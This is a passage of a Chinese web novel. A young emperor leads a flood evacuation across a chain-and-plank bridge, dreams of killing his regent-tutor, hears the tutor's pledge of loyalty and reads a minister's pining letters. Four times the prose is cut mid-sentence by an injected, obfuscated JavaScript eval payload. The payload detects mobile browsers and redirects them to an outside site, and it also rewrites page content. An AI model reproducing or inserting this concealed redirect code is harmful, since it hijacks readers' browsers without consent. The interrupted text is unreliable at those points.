谢桐听完后,问了个问题:“从佛塔到主城墙的豁口处,距离多少?” 齐净远想了想,说:“应不到三里。” “你们如今能做出的竹筏有几只?” 齐净远答得干脆:“六只,每只最多能承载五名青壮年男子。” “这也是为何东泉县的百姓迟迟被困在此处,无法离开。”齐净远伸手在地图上划了两道,又说:“如今大部分人口都聚集在佛塔下,从佛塔到城墙,需要乘舟而渡,并且城墙豁口上没有地方可以站太多人。” “出了主城,外面更是一片滔滔洪水。”他道:“臣曾经与人划着竹筏出去看过,用了两个时辰的功夫,都没有寻到一片适合多人停歇的地方。” “况且先前雨势急骤,洪水潮涌起伏,竹筏无法保证安全,一旦落水,立时会被卷到十米外,难以救援。” “如今雨倒是停了……” 齐净远往窗外望了一眼,天空中金光越盛,太阳即将破云而出,塔下传来百姓的欢呼雀跃声,期待着再在此地煎熬个十几天,等洪水退却之后,就能回家了。 但如今在案边的几人心知肚明,佛塔之地已经不能再久留,随时有崩塌的风险。 “用竹筏将人一批批运出去,倒是也可行,只是操作起来难度太大,耗时也久。往返一趟便要整整半天的时间,能运出去的人有限,用竹筏载人的方法不太可行。” 谢桐垂着眸看了会地图,开口问:“如果无法乘舟从水上渡过,朕想让他们从水面上走过去,如何?” 饶是心思灵敏如齐净远,也不禁愣住了:“……走过去?” “东泉县的问题要解决,无非是两方面。”谢桐重新拿了一张空白的纸,用炭笔在上面写了写,并道: “——将人迁移,并将水引走。” 这话很好懂,齐净远点点头。 “城内的竹筏数量不够,而要从城外找寻船只,又难以将笨重的船体搬过城墙豁口,并且如今各处水患,能寻到的船也有限。” “人既然无法坐着渡过这片洪水,那便走着过去。”谢桐说。 齐净远笑了:“圣上,您可是想教会东泉县的百姓,传说中的‘水上轻功莲花步’么?” 谢桐也忍不住扬起唇角:“如果朕说是呢?” 齐净远目露讶异,半信半疑道:“……真的?” 谢桐不逗他了,正色起来:“朕南下途中,令附近的县府送来了足够数量的一样东西。” 谢桐摊开手,白皙的掌心中,躺着一小块不起眼的灰黑色物块。 齐净远看了几眼,没看出来,正要发问,闻端先行解答了他的疑惑: “这是百炼钢,圣上命各地官府送来了百炼钢制成的锁链。” 齐净远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13645179|143429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这下的神色比听到“水上莲花步”还要惊异:“百炼钢?” 百炼钢是由“精铁”加热锻打百次而成,所炼成的兵器轻便趁手,杂质极少,兼之十分坚固,是非常难得的产物,价值不菲。 而用百炼钢制成长长的锁链…… 齐净远眉心一动,仿佛想明白了什么。 正好谢桐道:“锁链长逾数里,并且有好几条,朕承诺那些官府,等用完了,就将百炼钢送回去,由他们重新炼制武器。” “朕打算在佛塔与城墙、城墙与外面岸上间架一条‘桥’。” 齐净远提出疑问:“锁链若是太长,必然沉重无比,佛塔与城墙之间尚有几个未被淹没的地方可以架设支点,那出了城呢?” 闻端接过他的话,淡淡道:“抵达此地的第一日,圣上就吩咐外面岸上的人,乘舟去寻最近的落脚之处了。等需要架铁链时,他们会往天上放焰火来呼应。” 齐净远还是觉得这个策略匪夷所思。 但等他看见谢桐与闻端是如何指挥众人在水面上“搭桥”时,心中的疑虑才稍显缓解。 巳时正,谢桐留在城外的人乘舟带来了百炼钢锁链,闻端派人去接,谢桐则在佛塔上,指挥关蒙和两个暗卫在地面上架起支点。 另一端的支点则放在了城墙的豁口上,两边各一个,两条长而纤细的百炼钢链从佛塔一直延伸至城墙。两条链子中间,谢桐则命人到城内搜集没被水泡烂的木板,用布条在链上固定好,作为人可以落脚的“踏板”。 齐净远看着那在水面上轻轻摇晃的“链桥”,慢吞吞道: “圣上,东泉县大多都是平民,身无武艺,这样站上去别说走路了,很快就会摔下水的。” 谢桐摇摇头,说:“不急,还没完。” 紧接着,齐净远就看着关蒙揣着什么东西飞身上了佛塔,在高耸的塔体上灵活地纵横跳跃,引来底下围观百姓的阵阵惊呼。 关蒙一直到了塔顶才堪堪停下,然后伸出手,在圆柱状的塔尖上绕了两圈,又跳跃而下,这次在每一层都绕着走了一圈。 最后落到地面上的时候,众人终于看清了,关蒙臂弯间挂着一圈圈如琴弦般的白色丝线。 “这是朕从宫中带来的,尚衣局的绣娘们纺就的‘丝云棉’,十几缕拧成一股,火烧不断,非常坚韧。” 谢桐道,同时让关蒙快带着从佛塔上延伸下来的棉线,乘竹筏去另一边的城墙上。 等丝线在城墙上固定好后,谢桐亲身上前示范,将一条麻绳绕过飘在众人头顶的丝线,然后把绳子系在自己腰间,往那百炼钢和木板铺设的“链桥”上走了一段路。 有了来自头顶丝线的支撑,走起来明显不摇晃了,就算偶有失足,也会被腰间的麻绳给扯回去。 齐净远怔住了,轻声道: “臣听闻古时的采药人要渡过危险的峡谷时,就会采用这种办法。前人历经万难在两端的树木上绑好绳子,后来者就可以抱着绳子,直接滑过峡谷。” “唔,的确。”谢桐煞有其事地点点头,又道:“不过朕是从小时玩的‘天外飞猴’中得到的启发。” 齐净远和周围侍卫:“……” 眼见链桥上的木板已经基本铺设完毕,头顶的丝线也再次被加固以保不会断裂,谢桐从坐着的地面上站起身,随手拍拍身上的泥土,道: “让百姓们有序离开吧。” 在许久的酝酿后,厚重的云层终于被破开,几月不见的赤乌从云雾中振翅而出,金色的光芒从云缝中遍洒大地,水面上呈现出波光粼粼的美丽景象。 史书中称,此为金龙吐纳的大祥瑞之兆。 16. 梦魇 雨停后的几天,仍是紧绷而忙碌的。 胆大的青壮年率先领头走上了链桥,一开始走得惴惴不安,害怕随时掉进水里,后来发现这链子足够结实,自己磨蹭时间反而增加了落水的风险,于是越走越快,有些身形轻巧的,甚至在桥上小跑了起来。 谢桐又将当地熟识水性的百姓编了几个小队,划着竹筏在链桥的两端来回巡视,如果碰到不幸落入水里的,才好及时营救。 城外远远地传来了焰火之声,代表着通往城外的链桥也基本架设完毕。 到了晚上的时候,佛塔之下依旧灯火通明,东泉县百姓开始了水上的“步行”迁徙。 这个迁徙行动共持续了整整两天一夜,留在佛塔避难的人口有数千人,其中还有不少老人、小孩,一直到送最后一个东泉县百姓上了链桥,谢桐几乎没有怎么合过眼。 修补被踩裂的木板、搭救不小心落水的小孩、劝说不敢上桥的老年人、合理控制上桥的人数,以及一趟趟地从另一端收集回麻绳,供后面的百姓绑在腰上使用。 齐净远一开始还能抽空与谢桐调笑两句,但随着时间的流逝,他明显焦躁不安起来,催促了几次: “圣上快上桥吧,或者命人用竹筏载你过去也行。” “地面已经开始松软塌陷,”齐净远忍不住道:“你是圣上,不能再留在这种危险的地方。” 谢桐坐在水边的一块大石头上,闻言垂下睫,淡淡开口:“没事,朕不走。” “有关蒙等几个暗卫在,朕不会有事的。”谢桐道:“朕走了,剩下的百姓会也因地表塌陷和佛塔倾斜陷入恐慌。” 齐净远皱眉:“不过是些——” 不过是些平民罢了。 与天子比起来,别说是还留在此地的几百个平民,就是整个东泉县,都抵不上谢桐一根手指。 新帝御驾亲临水患之地已是数年难见,何况是像谢桐如此的,直接带着人进了被洪水淹没的主城,又迟迟留在危险的地方不愿离开。 齐净远心想,自己是为了功名利禄,是为了不择手段地往上爬,那谢桐呢? 谢桐又是为了什么? 论功名,谢桐已是新帝,这片土地上人人都要向他俯首;论利禄……笑话,这被水泡烂的地方还有什么利益可以捞取? 齐净远百思不得其解,等他看见始终站在谢桐身边的闻端时,就更加不能理解了。 “圣上,”闻端瞥了一眼已经明显开始倾斜的佛塔,嗓音平静:“再过一个时辰,你该离开此地了。” 谢桐张了张口,还没等他说话,就听见闻端道:“臣不是在请求你。” 谢桐:“?” “如若圣上不动身,”闻端堪称温和地说:“臣届时会出手打晕你,再将你带走。” 谢桐蹙眉:“关蒙会保护我的。” “他不会,”闻端丝毫不为所动:“臣已知会过他,等动手时,他不会阻拦。关首领也希望圣上尽快离开这个地方。” 谢桐:“……” 好在剩下的百姓不多,约莫一个多时辰后,在闻端走过来之前,谢桐终于站起来,开口:“走。” 他没有从桥上走,那链桥经过两天的摧残,其上的木板已经千疮百孔,时刻有陷落的风险,谢桐见状,只好搭乘竹筏出了城。 到城墙豁口处,专程为迎接谢桐的一只可搭载十余人的“大船”已等候许久,登船,坐船,直至脚步踏上另一片足够坚实的土地,谢桐才很轻地舒了一口气。 罗太监仍陪伴在谢桐身边,对他解释:“圣上,这里是离东泉最近的安庆县,此处地势较高,未被洪水侵蚀。” 谢桐没有回话。 罗太监又道:“东泉县幸存的所有人口,都已转移至此。但安庆县主城不大,放不下这么多人,于是统一将他们安置在城外两里处,官府已派人搭了草棚,送了粮食过来,这也是闻太傅的意思。” 他说完,却久久等不到谢桐出声。 “……圣上?”罗太监奇怪,小心地又叫了一句。 不料下一刻,他就见谢桐闭上眼,身形微微一晃,无力地往后跌去。 “圣上!!”罗太监尖细的嗓子破音了。 * 谢桐又做梦了。 梦里,就如遭了水患的东泉县一般雨势急骤,豆大的雨点玉珠似的从天上往下砸落,斜风怒号溃雨凶猛,是个令人见之胆寒的天气。 谢桐睁开眼,入目即是远处黑压压的云层,乌云在雨中翻涌,银色的闪电不时在其中穿梭,偶尔映亮一角暗灰色的天空。 ……这是哪里?谢桐朦胧中想。 下一刻,他目光垂落,瞥见自己绣着龙纹的金色皇袍一角。 再抬起眼,发现左右皆是神情紧绷的持刀御林军,宽大的辇顶罩在谢桐头顶,为他密实地遮住了外面的风雨。 谢桐想起来了,这里是皇宫中央的最高处,位于乾坤殿正后方的观云台。 从此处,可以远眺整个京城的中轴线,以及金殿之前宽阔至极的青砖广场。 雨势更大了,在几乎要连成一片的雨幕中,谢桐敏锐地听见四方都传来不寻常的动静—— 是火吞噬宫殿的动静、是刀剑刺入人体时闷响、是混乱不堪的争执、是鲜血裂迸又融入雨中的铁锈气息。 这是怎么了?谢桐心想,有人在逼宫吗? 他的疑问很快得到了答案。 有人匆匆踏着雨水到了谢桐身后,紧绷的嗓音响起: “圣上,东北、西北二处,共擒获逆贼头目十一名,皆为闻党精锐,已经押至金殿前的广场,是否需要令他们签具降书……” “杀了。” 谢桐听见“自己”淡淡出声道。 有那么一瞬间,谢桐甚至没有意识到,这是他自己的声音。 因为这声轻飘飘的命令,嗓音太过沉稳优雅,动听如古琴中最悦耳的那个低音弦,含着上位者不怒自威的压迫感,以及两分不露声色的厌恶。 背后的人像是愣了一下:“圣上,不让他们……” “需要朕说第二遍吗?”谢桐听见自己堪称温和地问道。 “……不。”后面的人立即说:“末将这就命人斩杀逆贼。” “把头颅悬到城墙上。”谢桐漫不经心道:“这是第三批了,朕倒是想看看,太傅还能忍到什么时候。” 身后沉默片刻,才传来回答:“是,末将立即去办。” 谢桐忽而轻轻一挑眉,开口制止了他:“不用了。” “太傅来了。” 像是在应和他的话似的,远处沉重的宫门终于被缓缓推开,一队几乎是纯黑装束的铁甲骑兵手提灯笼,安静无声地一步步迈入了宫城中。 谢桐的视线越过四起的硝烟、斜飞的大雨,以及青石砖铸成的大广场,遥遥落在最前方那个骑马的人身上。 这样大的雨,那个男人高居于马上,没有任何遮挡。 雨水打湿他的全部衣袍,使得黑色的袍服紧紧贴在身体上,愈加勾勒出高大挺拔的身形与恰到好处的肌肉线条,就如一座高不可攀的、永远不会倒塌的山峦。 谢桐忽然察觉到自己的掌心刺痛,顿了一下,伸出手垂眸一看,掌心已然有了几处隐隐的淤青。 那列沉默的骑兵直直跨过大半个广场,然后在即将抵达金殿时,停下了动作。 而为首的那个人,轻扯住御马的缰绳后,便仰起头,也往谢桐所在之处望过来。 那么远,那么远的距离,谢桐本应什么都看不清。 但隔着雨幕,他仿佛能瞧见那一双沉渊般的墨眸,眸中总涌着谢桐不明白的情绪,比起令人想起广阔的天空,更肖似寒冷无垠的深海。 那个男人在马上,像是动了动唇,说了句什么。 同样,本应听不见这句话语,谢桐却如有神知一般,清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660421|143429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚地知道对方说的是什么。 他说是: “圣上,臣已来了。” * 谢桐冷汗涔涔地醒过来。 梦中的雨腥味还萦绕在鼻端,谢桐下意识往前动了一下身体。 ——在梦里面,这是“他”一手扶着城墙,一边微微向前俯身的动作,似是想借着距离的拉近,瞧清楚那个男人眸中的神色。 只感到脸上像是被轻柔的布料拂过,谢桐睁开眼,就撞进一双与梦境极其相似的墨眸中。 没有隔着雨雾的朦胧,没有如深渊般的寒冷寂寥,那墨黑的色泽分外清明,琉璃般倒映着谢桐的身影。 “……”谢桐喃喃叫了一声:“太傅?” 闻端的面容比起梦中,少了几分威势,更显年轻俊美,就连神色中惯有的上位者的压迫感,都少了许多。 甚至还能在墨眸中,瞧见一点不动声色的关切。 谢桐逐渐回过神,垂睫扫了一眼四周。 他正身处一间装饰奢华的厢房中,躺在柔软的床榻上,而此时,他用左手肘撑着身体,是个欲坐未坐起身的模样。 闻端则一手握着一块浸水的毛巾,沉静地坐在榻边的一张圆凳上。 回忆起梦醒时的情形,谢桐恍惚意识到,闻端刚刚似乎正在为自己拭额上的细汗。 “圣上。”闻端慢慢开口道:“您得了梦魇。” 谢桐的神色已经恢复了寻常,但因梦中的场景太过真实,因此仍有几分不切实际的飘忽感。 “……朕怎么了?” 闻端把手里的毛巾放回身侧的铜盆里,语气温和: “此处是安庆县官府准备的别院。抵达安庆之日,圣上你因过于劳累而陷入昏迷,经大夫诊断,是因连日淋雨受了风寒。” 谢桐沉默了半晌,忽然问:“朕睡了多久?” “不到七个时辰。”闻端说:“期间起了一次低热,不过喂了帖药剂后,很快便发汗降温,如今应已无甚大碍了。” 谢桐这才想起来:“东泉县……” “转移出来的百姓皆安置妥当,已命齐侍郎带着安庆官府去记录名册,继续打探失踪者的下落。” 没等谢桐说完,闻端就缓慢而不容拒绝地截住了他的话头:“一切事宜臣已打理完毕,圣上龙体欠安,就不要再思虑这些琐事了。” 谢桐怔了一下,没怎么反应过来。 他定定地微仰着头看闻端,还未从梦与现实的巨大悬殊中彻底清醒出来。 是了……那个场景,谢桐曾经见过的。 在最初的第一个“预示梦”中,在那本叙述繁复、文字庞杂的《万古帝尊》原书中。 只不过谢桐第一次看见的时候,是纯文字版本,而字里行间所描写的,正是他今天梦见的景象。 ——二十九岁那一年,书中“主角”谢桐制造了一场宫变,率军将闻端围杀于乾坤殿前。 宫变、杀戮、青石砖铸就的广场。 闻端、闻太傅、闻党叛贼…… 谢桐倚靠在榻上,一时竟然不知此身在何处。 究竟是在这宁静祥和的某个南部小县的厢房中,与不过二十有余的闻端对坐闲聊; 还是应该站在梦里那个血雨纷飞的高墙之上,等候着闻端带领他手下仅剩的亲兵精锐,迈入宫门。 “圣上。” 坐在一旁的闻端见谢桐神色变化,语气轻了些许:“想起方才的梦魇了?” 谢桐本以为他要问,梦见了什么。 不料闻端下一句话却是:“臣不知圣上所梦为何,若有任何能让臣为圣上效力、驱除惊惧的法子,请圣上务必告知臣。” 男人俊美的面容在烛火下散发着温柔的暖金色光晕,嗓音低沉,似是在安抚: “见圣上陷于梦魇中辗转难安,臣……” 闻端顿了顿,才低声道:“臣也同样,难以心安。” 17. 交心 从东泉县出来的时候,已经临近傍晚。 而谢桐昏睡了快七个时辰,又是一整夜过去,窗外天光渐亮,许久未见的日照透过木格子映入屋中,掩过了榻边烛台的光芒。 谢桐坐在榻上,望着那点烛火的光源逐渐被阳光覆盖,忽然就内心动摇,有了一股蛮不讲理的倾诉的冲动。 “你帮不了朕。” 谢桐语气里带着不自知的倦怠,懒懒道:“朕梦中所见,正是与老师有关之事。” 闻端神情中略有几分怔忪,缓慢问:“是因为梦中有臣,才致使圣上被魇所困,忧思连绵吗?” 谢桐沉默了片刻,轻声开口:“如果朕说,是呢?” 闻端会如何? 会询问,会质疑,还是会愤怒?又或者,仅仅认为这是谢桐针对他的一次试探? 但其实谢桐什么都没有思考,他只是觉得疲惫。 不同于先前的文字“预示梦”,这一次身临其境般的体验,令得谢桐心神恍惚。 即便已经明白不过是个梦魇,心中也始终有一小块地方,仍徘徊在那灰暗的雨幕中,迟迟无法抽身离开。 而梦中谢桐不仅对“自己”的一言一行感触清晰无比,甚至还能感同身受一般捕捉到几丝来自于“他”的情绪。 傲慢无情,凌驾于所有人之上,就连出言收割十几条活生生的性命,都没能激起“谢桐”的半分波澜。 他像是真正地成为了一个完美的帝王,没有一分多余的感情,漠视生命,享受掌控权力的每一刻,并坚定不移地要将自己前路上的每一个障碍清扫干净。 他是那么冷漠无情,直到闻端的身影出现在宫门口的那一瞬间,谢桐才感到心脏处传来的,几乎能令人忽视的隐痛。 又或许,那根本不是梦境中的内容,是正在做梦的谢桐自己产生的情绪。 而现在,已经清醒的谢桐被这股阵阵的隐痛牵扯着,终于再也没忍住,想要开口问一问闻端。 他突然就很想知道,闻端如果得知梦境的场景,得知钦天监所言的“上天指示”里的真正内容,会说什么? 就如同——在梦境中,即便“谢桐”站在高高的楼台上,他也想知道,带着寥寥无几的亲兵,踏入宫中的那个闻端,站在一地鲜血尸骨前的时候,会想什么? 谢桐等着闻端的答案。 等着那一个或许是敷衍,或许是愤怒,亦或许只是轻轻一笑,根本不在意的答案。 “圣上。” 在谢桐的等候中,闻端静了半晌,终于开口。 “即便宫内宫外,对臣从前揽权一事,议论颇多。然臣对圣上,实际从无二心。” 谢桐掩在被子底下的手紧攥起,面上虽一派冷静,但内心已有些惊异。 他还没来得及说什么,也没有告诉闻端梦里的情景,闻端是凭着什么,竟像是隐隐猜到了真相似的? 一时间,谢桐都要怀疑,是不是自己在昏睡中说出了什么梦话。 但从头到尾,他所能回忆起来的话语,不过也就三句而已。 “杀了。”“需要朕说第二遍吗?”“太傅来了。” 谢桐蹙眉,觉得这些话其实也尚算寻常。 难不成自己喊混了梦话,又或者是闻端听混淆了,听成了……“杀了太傅”? 谢桐寻思,不至于吧。 闻端没留意到谢桐眸中神色的变化,继续平淡地道: “臣确对先帝颇有微词,想要将治理朝政的权力拿到手中。但对于圣上,臣从来都没有生出挟君摄政的念头。” 他就这样将大逆不道之言轻描淡写道出,丝毫不担心会因为这番话被降罪。 “若是臣想要当摄政王,何必再忍耐七年,等到圣上你登基。” “七年前,先帝病体孱弱,朝中尽是些酒肉饭桶。” 闻端的目光落在谢桐身上,变得柔和了些许:“圣上也不过十岁出头,还是贪玩的年纪,也无法依仗母家势力。” “臣想要成为至高无上的那个人,比起今时今日,要轻易得多。” 闻端慢慢道:“即使无法坐在御座上,随意挑个旁系亲王,毒傻了再扶持上位,当臣手里的一颗棋子,岂不是更好?” 谢桐抿了下唇,低声道:“不,还有大皇兄和二皇兄。” 闻端勾了下唇角,很轻地笑了一瞬:“圣上以为,你身为无依无靠的三皇子,最后得到皇位,只是侥幸么?” 谢桐霍然抬起眼,直直看向他。 闻端不偏不倚,墨眸平静无波地迎着谢桐的视线。 “你……”谢桐顿了顿,才把接下来的话问出口:“大皇兄流放西南,二皇兄……以叛乱罪被斩首,是——” “都是你做的吗?” 闻端垂着长睫,似乎思索了一会儿,而后摇了摇头:“圣上要下这样的定论,臣觉得不妥。” “安昌王身为先帝的长子,性格懦弱不堪,协理朝政时时常优柔寡断,没有主见,并非储君的合适人选,做错事被先帝发配西南也在情理之中。” “至于当年的二皇子……” 闻端微转过身,从旁边取了一盏茶过来,递于谢桐:“他早有谋逆之意,臣只是稍稍推波助澜,让他尽早暴露罢了。” 见茶盏递到面前,谢桐下意识抬手接过。 杯身触手温热,是放得正正好的温度。 这股温度让谢桐冰凉的手心暖和起来,方才因震惊而过快的心跳,也逐渐平复些许。 不知为何,听到闻端的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13667677|143429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解释,谢桐像是无形中松了一口气。 但因着对兄弟的恻隐之心,他还是低低说了一句: “二皇兄于宫中起兵谋逆,罪无可赦。只是前朝也有一些如此般的例子,将罪人流放边疆,或是终身软禁,并不一定要死刑……” “圣上,”闻端忽然说:“你知道为何当年,臣一再请求先帝,将二皇子斩首吗?” “为何?” “因为圣上你。” “……”谢桐撩起眼皮:“二皇兄对朕是做过不少错事,但……” 闻端平静地打断了他的话,道:“圣上固然已经知晓不少事情,但有一件事,圣上应并不清楚。” 谢桐眉心拧起:“什么?” “圣上八岁入太学,还未学满一年,就被污蔑偷窃罪退学,再也无法继续与其他的同龄学子相伴,正是当年的二皇子所为。” “……” 谢桐久久不能言。 二皇兄早已死去多年,闻端没有必要在这件事情上,再去泼一个死人脏水,他也从不是这样的人。 谢桐相信闻端的话。 正因为相信,所以才更痛心。 “圣上因此事中断学业,在宫中无人教导,见识浅薄举止不当,招来先帝的冷眼相待,几次险些无声无息地命丧于宫中。” 闻端的嗓音始终很温和,直到这个时候,终于有了几分沉意: “二皇子被斩首于午门前,不仅是谋逆的教训,也是臣能为圣上做的,报仇雪恨的第一件事。” “圣上,”他缓缓道:“臣不会伤害你,不管是从前,还是以后。” “圣上无论在梦魇中看见什么,都无需惊惶。”闻端说:“因为臣,不会去做对圣上不利之事。至于为何不现在就把所有权力归还于圣上,臣已解释过。” “不管圣上信与不信,但不久之后,臣必会将圣上想要的东西,全部双手奉上。” 说完这句话,闻端垂下眼,低声道:“这也是臣对圣上的许诺。” 谢桐盯着他看了许久,轻一眨眼,忽而感到手背上微微一热。 低头看了看,谢桐便瞧见自己的手背上,有一小颗水珠砸落的痕迹。 “朕——” 谢桐出声时,才发现自己的嗓音沙哑,话语又顿住了。 闻端注意到他的异样,不由得问:“圣上怎么了?” 谢桐望着他的面容。 不,其实那梦中并不是闻端夺权逼宫。 而是谢桐自己,为了清除这个手握权势的“佞臣”,一步一步,利用血与杀戮,迫使闻端走上真正的“谋逆”之路,走上那条死亡的归途。 未来会改变的,或许并不是闻端。 变的人,是谢桐自己。 18. 红豆 谢桐瞧起来一直恹恹不乐,闻端见状,起身离开房间片刻,手里拿着一叠未拆封的信笺回来。 “圣上若是烦心,不如看些从京城寄来的信。” 闻端道:“臣听闻这段时日,简丞相在朝中立功不少。” 如果是以前,谢桐或许会觉得闻端这句话意在嘲讽。 简如是是谢桐特地留在京城的人,为的就是趁闻端不在,能借机将宫中铁桶般的闻党势力,撬开一个缺口。 大概二十几天前,谢桐还视闻端一派为洪水猛兽,决意要将朝廷的闻党大清洗一番,通通换回谢桐自己的人。 而现在,重新掌权的心思依旧在,却早已不似先前那般迫切。 甚至对于闻端,谢桐的内心也有种说不清道不明的情绪。 他从来没想到——如闻端一般心思深沉莫测之人,会和自己说那样的话,甚至做出分量十分沉重的保证。 无论如何,现在的谢桐,都无法像是一个多月前,刚刚登基时那样,对闻端抱有锋芒毕露的敌意了。 “……朕觉得简相是个可用之才。”谢桐垂着睫,慢吞吞道:“朕如果重用他,老师不会介意吧?” 闻端将那沓信放在榻边,闻言平缓地说:“臣已对圣上表明心意,不会在此事上多加阻挠。” 没等谢桐有所反应,他又加了一句:“但朝中势力错综复杂,臣虽承诺圣上不予插手,很多事情也并非臣能预料。” 谢桐明白他的意思,抿了下唇,道:“朕知道,朕自己会解决。” 闻端的视线落在他脸上,眼皮略微低垂,漆黑墨眸里的光芒很温和,唇角微扬起道:“臣相信圣上。” 谢桐:“……” 怎么觉得,有点像在哄小孩。 但他已经二十岁,已经不是当年那个三皇子了。 “老师。”谢桐蹙了蹙眉,忽然出声,叫住了要推门而出的闻端。 闻端转过身,站在门外映照进来的光亮处,静静等待着他的话。 谢桐顿了顿,说:“你——你不要表现得太亲近朕。” 闻端:“?” 谢桐原本想说不要再把他当孩子看待,话到嘴边,突然就变了,变成了一句连他自己也有些摸不着头脑的话。 闻端在门口站了一会儿,见谢桐不作解释,于是道:“臣明白。” “在朝中势力未定之前,臣不会在外人面前,显露得与圣上太过亲密。” 谢桐:“……嗯。” 无论是他的话,还是闻端的话,都怎么听,怎么奇怪。 怪得令谢桐耳根微微发热,不自觉曲起手指,折弯了手底下的信纸。 纸张的触感让他回过神,低头拾起看了看,意外地发现这些信都是由简如是送过来的。 五封、十封……十三封,怎么有这么多封? 谢桐回忆了一下,从自己与闻端乘船进入东泉县主城,再到现在,不过也就四五天而已。 登船之前,每日从京城飞马送来的奏折与信纸,谢桐都有批阅。那时候,简如是顶多是每日派人送一封他的亲笔信过来。 谢桐以为是有什么急事,于是拧着眉迅速拆了信。 第一封,简如是写道: “宫中已派人前往灵天寺祈福,愿圣上此行顺利。原工部尚书刘黔上书,望圣上准其告老还乡,臣暂按下未做批示。御书房养的咪咪胖了半斤,抓坏了圣上的软垫,已小施惩戒。” 第二封,他又写: “有内贼在宫中行窃,抓获相关者二十一人,均已按宫法一一处置。其中乾坤殿侍奉者六人,臣已重新择了顶替的宫人。咪咪偷吃了进贡的西域糕点,逃窜行迹奇诡,无法抓获。” 到了第四封,简如是说: “朝中查出过往科举贪墨者数人,牵连甚广。听闻圣上已亲身进入东泉主城,不知是否安稳?臣很思念圣上,咪咪也是。” ……第六封,则简洁明了地写道: “刘黔于府中自缢,已低调发丧。据信使来报,如今臣的信无法送入主城,但臣确有无数言语想诉于圣上,无法停下笔墨。” 第九封:“臣夜半惊醒,梦洪水滔天,将圣上的衣袍打湿。水患迅猛,圣上如何能亲身深赴险境?臣每每思及此,便昼夜难安。” 第十一封:“圣上,臣已心生悔意,若当初再坚持一些,或许如今陪在圣上身边,与圣上共患难的人便是臣。即使颠簸艰苦,也好过在宫中日日煎熬。” 谢桐一直往下拆信,秀丽的眉渐渐蹙得更紧。 如果说前面几封,简如是还会在信里写些朝政上的事,又闲话几句趣事来逗谢桐开心。那这后面的一封接一封,就慢慢变成了简如是自己的倾诉。 谢桐有些莫名其妙,信使每日飞马来往千里,何其辛苦。简如是就拿这宝贵的机会,来传几封明知对方收不到的信件? “……”谢桐揉了揉眉心,暗道信使应该还带了其他重要的东西过来,比如奏折什么的…… 总之,简如是不应该是将朝政抛之一旁,被私人感情挟裹情绪的人。 但看了这么多封信,谢桐也对京城中的局势有了个大概的判断。 在他离京之后,简如是先小范围地清洗了几个重要宫殿侍奉的宫人,确保与闻党有关的探子大大减少。再不动声色地出手,以科举贪墨案为由,开启朝堂上的势力洗牌。 最后,再以雷霆手段,将刘黔治死。 这名根基深厚、连闻端都忍耐多年,没有轻易出手的先帝时候的老臣子,终于倒下。 谢桐揣测,等自己半个月后回到宫中,朝上的形势已经风云变幻,很快要彻底变天了。 而其中,简如是承担的压力不可谓不大。 谢桐想着这些事,拆开了手里的最后一封信,往下随意瞥了一眼,而后停住了动作。 这封信是昨夜刚刚送到的,字迹清晰,风格是简如是一贯的温柔秀挺。只是字里行间,似乎有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13679548|143429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几分手抖,有数处都不小心沾了墨。 简如是这封信的语句更加短,只有一句话: “臣无比想念圣上,望圣上平安归来,能亲笔回信,臣见了圣上的信,才能入眠。” 信纸展开,还骨碌碌滚出来一小粒红豆。 谢桐捻起那粒红豆:“……” 豆粒浑圆,暗红的光泽在指尖流转,手一颤,豆子就不小心掉了下去,滚进被褥中不见了。 谢桐在榻上呆坐片刻,心内不确定地寻思道,简如是似乎…… ——似乎真有些龙阳之癖。 回想起许久之前,闻端从宫中“捡”到的那块同心玉,谢桐越发觉得这个猜测,很有几分可信。 可信归可信,但要彻底相信,依旧十分困难。 ……毕竟简如是一直以来,都表现得春风和熙,君子端方,与谢桐想象中,京城小倌馆那些涂脂抹粉举止妖娆的断袖小倌,毫无相像之处。 这样一个温柔和善的君子,怎么竟会成了个……呢? 最可怕的是,谢桐如今还觉察,简如是的龙阳之好,很有可能是对着自己产生的。 为什么? 